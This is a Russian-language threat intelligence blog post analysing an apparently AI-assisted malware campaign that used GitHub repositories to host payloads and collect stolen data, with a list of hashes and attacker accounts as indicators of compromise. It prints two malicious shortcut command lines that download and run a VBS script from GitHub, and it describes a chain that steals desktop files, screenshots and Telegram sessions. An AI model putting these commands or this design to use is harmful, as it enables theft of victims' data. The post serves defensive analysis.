GitHub как C2: анализ вредоносной инфраструктуры, управляемой кодом от ИИ

GitHub как C2: анализ вредоносной инфраструктуры, управляемой кодом от ИИ

В процессе исследования вредоносных файлов, которые использовали группировки злоумышленников, мы наткнулись на интересные ранее незамеченные атаки, в которых использовались GitHub-аккаунты для хранения вредоносных файлов и данных жертв. Эти атаки не выглядели как что-то массовое, и, судя по всему, при разработке злоумышленники использовали ИИ. Самую раннюю подобную активность мы зафиксировали в сентябре 2024 года, самую позднюю — в апреле 2025-го.

Мы в команде Threat Intelligence исследуем сложные атаки с интересными способами закрепления и сбора информации, с уникальной инфраструктурой. Бывает, попадаются какие-то простенькие скрипты на пару строчек или же «бомбы», которые запускают сразу десятки различных малварей. Но очень редко мы встречаем настолько длинные цепочки очень простых скриптов, написанных ИИ и при этом рабочих, в такой сложной связке — видно, что логика была продумана. Считайте, это описание APT в иерархии script kiddie.

Начало исследования

Как-то в рамках одной из задач мы наткнулись на интересный файл с двойным расширением, которые сразу привлёк наше внимание:

document.docx.lnk SHA-256: 6bea2d17c26ffc7cec6d6e9c7d8548c5d8ce75e5523bfc7f3bfcde4f055848ff

Нас привлекла команда, которая качала файл hidden.vbs с GitHub, а также запускала легитимный PDF-файл, который скачивался из онлайн-библиотеки Каймановых островов.

/min cmd /c curl -o %TEMP%hidden.vbs https://raw.githubusercontent.com/jacker8181/fff/refs/heads/main/hidden.vbs && cd %TEMP% && start hidden.vbs && start https://cnslibrary.com/wp-content/uploads/2024-2026-SPS.pdf

У пользователя jacker8181, который был указан внутри скрипта, есть два репозитория — fff и tune:

Рис. 1 — GitHub-аккаунт jacker8181
Рис. 1 — GitHub-аккаунт jacker8181

Репозиторий fff содержит два файла:

  • hidden.vbs SHA-256: eee0cca526348c2bf393574df418e43ca192671458a4d4d0d5d8d09206ad7757

  • unp.bat SHA-256: 2e7bd3ac84f3e4014274ec418f6d0467748b8fcbe858c50bdaf84becf97da023

Файл hidden.vbs уже на этом этапе привлекает внимание стилем кодинга — комментарии под каждой функцией, а также общий вид кода явно были разработаны c помощью запросов к ИИ:

Рис. 2 — Контент файла hidden.vbs
Рис. 2 — Контент файла hidden.vbs

Скрипт скачивал ZIP-архив с  filebin.net, а скрипт unp.bat разархивировал этот архив и запускал следующий файл в цепочке — git_v.vbs:

Рис. 3 — Контент файла git_v.vbs
Рис. 3 — Контент файла git_v.vbs

Репозиторий tune содержал папку tdata, связанную с данными Telegram, а также файлы, связанные с системой жертвы, например system_unfo.txt:

Рис. 4 — Контент файла system_unfo.txt
Рис. 4 — Контент файла system_unfo.txt

В данном случае папка tune хоть и содержала файлы, но при этом они весили по 0 КБ, а по файлам системы невозможно точно идентифицировать жертву. 

Так или иначе, мы начали собирать данные об этих атаках и проанализировали всю цепочку.

Полная цепочка атаки

Мы не смогли обнаружить точный первоначальный вектор, но, судя по всему, атаки начинались с имейлов с вредоносным вложением в виде ZIP- или RAR-архива. Для примера возьмем файл document.zip SHA-256: d83eb2bc85d29d8fe7bcfb1383de3643fcf8f5523ccf02167de1bcc298aa14fd

Цепочки атаки достаточно длинные и запутанные. Представим их визуальную схему:

Рис. 5 — Визуальное отображение цепочки атаки
Рис. 5 — Визуальное отображение цепочки атаки

Архив содержит fille_docu.lnk SHA-256: 08f6cb6d682c9fc9ea895f4bd71ada780a66882aa7330137be6f17fae755eb4a со следующим скриптом:

/min cmd /c curl -o %TEMP%hidden.vbs https://raw.githubusercontent.com/Allsafetui/lex/refs/heads/main/hidden.vbs && cd %TEMP% && start hidden.vbs && start https://career.habr.com/olya-yurievna.pdf"%systemroot%system32imageres.dll

Интересно, что атакующий пытался в качестве приманки использовать резюме с career.habr, но в этом случае с огромной долей вероятности PDF-файл по этому пути не мог существовать.

Сам аккаунт на GitHub сейчас не содержит репозиториев:

Рис. 6 — GitHub аккаунт Allsafetui
Рис. 6 — GitHub аккаунт Allsafetui

Файл hidden.vbs загружался с GitHub, но так как сейчас там файлов нет, обнаружить конкретный файл, который был в GitHub аккаунте Allsafetui, невозможно. Но мы нашли два файла, связанных с этим репозиторием:

  • hidden.vbs SHA-256: 2b2dc11a9adbc40813b6290a4b117f37ab940c3baebedf19948ba5b7935ab754

  • hidden.vbs SHA-256: 658c9f9f6f695c4295db4552326fec1daac621f1fcba63b52ff0c704885f1473

Функциональность у обоих файлов аналогична hidden.vbs, единственные различия — в ссылках на Best_Gits.zip:

Файл hidden.vbs качает unp.bat, который разархивирует архив Best_Gits.zip 11d11058d955a03d2fc7270c2968b35867903f4f11b0e23c0aa56655a28df4b8 во временной папке и запускает первый скрипт git_v.vbs:

Рис. 7 — Контент git_v.vbs
Рис. 7 — Контент git_v.vbs

Сама папка Best_Gits.zip имеет следующую структуру:

Рис. 8 — Структура распакованной папки Best_Gits
Рис. 8 — Структура распакованной папки Best_Gits

Скрипт git_v.vbs запускает в скрытом окне git.cmd:

Рис. 9 — Контент git.cmd
Рис. 9 — Контент git.cmd

В свою очередь, git.cmd сразу запускает hidden_runs.vbs, ждет 5 минут, запускает t.vbs, потом опять ждет 10 минут и пушит данные из папки LO в репозиторий GitHub.

Сначала разберемся до команды TIMEOUT: hidden_runs.vbs — прослойка, которая запускает три других скрипта:

Рис. 10 — Контент hidden_runs.vbs
Рис. 10 — Контент hidden_runs.vbs

  1. Первый скрипт — это password_grab.cmd. Скрипт ищет на рабочем столе файлы по имени и сохраняет их в LO/info_desktop. Реализован был, скорее всего, с помощью сложного промпта, типа «создай скрипт, который крадет пароли»: 

    Рис. 11 — Контент password_grab.cmd
    Рис. 11 — Контент password_grab.cmd

  2. Скрипт screenshot.cmd запускает  screen.ps1 в скрытом окне через PowerShell, и  screen.ps1 уже собирает данные. Для нашего удобства при создании ИИ уже расписал всю функциональность:

    Рис. 12 — Контент screenshot.cmd
    Рис. 12 — Контент screenshot.cmd

    Рис. 13 — Контент screen.ps1
    Рис. 13 — Контент screen.ps1

  3.  Третий скрипт, system.bat, также удобно расписан в комментариях. Он собирает информацию о системе и сохраняет ее в system_info.txt:

    Рис. 14 — Контент system.bat
    Рис. 14 — Контент system.bat

Как было сказано выше, спустя 5 минут после запуска git.cmd запускался t.vbs. Скрипт останавливал процесс Telegram и копировал данные tdata в LO/tdata:

Рис. 15 — Контент t.vbs
Рис. 15 — Контент t.vbs

После еще 10 минут ожидания, когда скрипты собрали все данные, с помощью библиотек и модифицированной версии git.exe файлы отправляются в репозиторий  https://github.com/Allsafetui с использованием личного access token с отключенным SSL-сертификатом. 

Интересно, что архив также содержал screenshot_hiden.cmd, но этот файл нигде не использовался, а еще был таким же, как обычный screenshot.cmd, только без функции hidden (но называется hidden, да):

Рис. 16 — Контент screenshot_hiden.cmd
Рис. 16 — Контент screenshot_hiden.cmd

Остальные аккаунты

В случае аккаунта jacker8181 мы нашли данные, собранные на компьютере жертвы, но они не содержали какой-то чувствительной информации и, судя по названиям, были результатом прогона в одной из песочниц. При этом мы нашли еще несколько аккаунтов злоумышленников, но большая их часть была удалена. Активным был еще один, который содержал файлы:

Рис. 17 — Аккаунт jockop77
Рис. 17 — Аккаунт jockop77

Это самый ранний аккаунт, который мы нашли, и, судя по коммитам, он был активен в сентябре 2024 года.

Аккаунт содержал три репозитория:

1) - — содержит файл  readme.md с символом -

2) fff — содержит hidden.vbs и unp.bat

3) tet — содержит текстовый файл t.txt

Файл t.txt содержит текст с требованием доставить 50 тысяч долларов в старую библиотеку ночью в пятницу и выглядит совершенно странно в общем контексте: 

Рис. 18 — Контент t.txt
Рис. 18 — Контент t.txt

Злоумышленник загружал файлы hidden.vbs и unp.bat 16 сентября 2024 года в 16:17:28 с имейлом danatolevic544@gmail.com, а в 16:18:13 с  myemail@example.com был загружен файл, который также присутствует в коде git.cmd — вероятно, этот файл тестовый:

Рис. 19 — Предположительно тестовый коммит от самого злоумышленника
Рис. 19 — Предположительно тестовый коммит от самого злоумышленника

Всего было найдено шесть разных аккаунтов, но их количество может быть больше, так как половина уже удалена. В коде во всех случаях создавалась папка с данными и загружалась на GitHub аккаунт, — вероятно, атаки были не массовыми, а таргетированными и проводились по принципу «один аккаунт — одна жертва», если у злоумышленников не была реализована система с уведомлениями при новом коммите и автоматическим забором файлов с дальнейшей очисткой. 

Но судя по аккаунту jacker8181, в котором репозиторий tune до сих пор присутствует, скорее всего, такого механизма не было. 

Аккаунт GitHub

Статус

https://github.com/Allsafetui

активный без файлов

https://github.com/jacker8181

активный

https://github.com/jockop77

активный

https://github.com/stomy707

неактивный

https://github.com/mike22244

неактивный

https://github.com/jocki70

неактивный

Индикаторы Компрометации (IOCs)

1. Файлы hidden.vbs (SHA-256)
  • 2b2dc11a9adbc40813b6290a4b117f37ab940c3baebedf19948ba5b7935ab754
  • 658c9f9f6f695c4295db4552326fec1daac621f1fcba63b52ff0c704885f1473
  • c443829a81bcf8565686c6395f1eddedecac4175b97d77678907c8b1453c70e3
  • 231d60a57386b26c7ac96124adf357646731b7338874c62f5e3af7950da87e28
  • 2b8bcbefb5876395958160a6f831e660f212865aac124f275977995cc8e5d7a4
  • 04a459443bd8015089afd946ea088a0cf6141a9c7f28a954c1fd27826cf95422
  • eee0cca526348c2bf393574df418e43ca192671458a4d4d0d5d8d09206ad7757
  • 8c747c1319dc5564b15ddb0ba913f347ab22fbb5bbbc3ee88f99096245f87ea0
2. Архивы Best_Gits.zip (SHA-256)
  • b3315bfa572827aae2b4c1ce658617514081fae0d7731d0861ea8bee974db1ca
  • eb2e455ceadbbb28dd09fa966bb7268fa817f2a749af899811017ce3964b8a74
  • 11d11058d955a03d2fc7270c2968b35867903f4f11b0e23c0aa56655a28df4b8
  • 047f0735b7ec7f9666e0430b7aaf578bedeff555c3fa286e4bf11bf9afcfeaee
  • b3576ffd3d5db8f5fc095e010a1cfe13a7065d90f336a0be6f63b2a141a75114
  • 564ca80990e27c4e1d881835b4a051a813f29874eeca942c5f278031531c4b19
3. Остальные компоненты (ZIP, RAR, LNK, BAT) (SHA-256)
  • b.rar: 51ec727fabb6ffc26a6100a56da6919a4f869076deb1ecfbfa85eb5b5cc32bdb
  • unp.bat: 6f4b22f593af20b1bae21370efebed2699d407b139befa546d982c7c2fbef9b0
  • unp.bat: 2e7bd3ac84f3e4014274ec418f6d0467748b8fcbe858c50bdaf84becf97da023
  • f_62167fba570ac718.zip: 9e936bacfb2e22658c1cc77fbef583a3bbc36599608949f0850a69505894d3db
  • document.zip: d83eb2bc85d29d8fe7bcfb1383de3643fcf8f5523ccf02167de1bcc298aa14fd
  • payload_1.zip: c0c04d2e43ba6910bae4b0aaa2ebdc7069a365ff9a75aa98b4c5342161d45e87
  • _doc_390234.zip: 3f4f86fac8e2c040c138b6d2a14cf6856b83951415df1bffcd2be2ac596af572
  • code.zip: 45fc1fadc5a0c5e34f68e8822128fca3f1dcb8c5e040625287b503e021f22366
  • document.docx.lnk: 6bea2d17c26ffc7cec6d6e9c7d8548c5d8ce75e5523bfc7f3bfcde4f055848ff
  • document.docx.lnk: 5a3da63fa0d00f9409ab6feeafd7638b35039e0543d511785c5fb36fcfae20cb
  • telegram bot code.lnk: b7fe85a96eb2c4d079f9f0070d623e2e9278abd41c62f2582500e91b58403409
  • codepen.lnk: c9175e179e86a5f653373c540ac8663a741f26e693268d3080586291b1f44c43
  • codepen.txt.lnk: 34c594b8a5920cbe9a8758ad196b0ef1b837fa4135f6e7324ad8e8b6c68b45c0
  • doc_237943_.lnk: 268e5e051ae4866ca72055c9b6f10fdd6e68eb247b61ce987a219c2324dc5179
  • fille_docu.lnk: 08f6cb6d682c9fc9ea895f4bd71ada780a66882aa7330137be6f17fae755eb4a
  • doc_237943_.lnk: f73a1fb7d2b44ebc0136cfdd6a70db7b948c7ccfa6f234dca56237c5b0a6c03a
  • _doc_390234.pdf.ln: 7672312e3df69bccf57d0ac595920cd4e9d3dc14e70532c39a367b4bd205d339
C2 github positive technologies ИИ код
Alt text
Обращаем внимание, что все материалы в этом блоге представляют личное мнение их авторов. Редакция SecurityLab.ru не несет ответственности за точность, полноту и достоверность опубликованных данных. Вся информация предоставлена «как есть» и может не соответствовать официальной позиции компании.
310K
долларов
до 18 лет
Антипов жжет
Ребёнок как убыточный
актив. Считаем честно.
Почему рожают меньше те, кто умеет считать на десять лет вперёд.

FREE
100%
Кибербезопасность · Обучение
УЧИСЬ!
ИЛИ
ВЗЛОМАЮТ
Лучшие ИБ-мероприятия
и вебинары — в одном месте
ПОДПИШИСЬ
T.ME/SECWEBINARS